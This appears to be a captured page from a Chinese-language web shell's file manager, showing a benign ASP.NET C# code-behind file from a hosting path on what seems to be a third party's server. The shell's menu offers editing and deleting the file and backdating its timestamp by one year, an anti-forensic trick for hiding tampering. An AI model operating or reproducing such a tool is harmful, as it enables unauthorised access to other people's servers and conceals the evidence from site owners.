文件操作 - Default.aspx.cs
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\guard.kimbly.in\wwwroot\Default.aspx.cs
编辑文件内容
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class _Default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected void sub_Click(object sender, EventArgs e) { Dictionary<string, string> ctrls = new Dictionary<string, string>(); ctrls.Add("SiteName", txtSite.Text); ctrls.Add("Address", txtAdd.Text); ctrls.Add("City", txtCity.Text); InsertClass ins = new InsertClass(); ins.InsertCustom(ctrls, "Sites"); GridView1.DataBind(); addSite.Style.Value = "display:none"; } protected void BtnAdd_Click(object sender, ImageClickEventArgs e) { addSite.Style.Value = "display:block;position:fixed; left:25%; top:40%;background-color:white; height:30%;width:30%; border:solid 2px black"; } protected void Can_Click(object sender, EventArgs e) { addSite.Style.Value = "display:none;"; } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件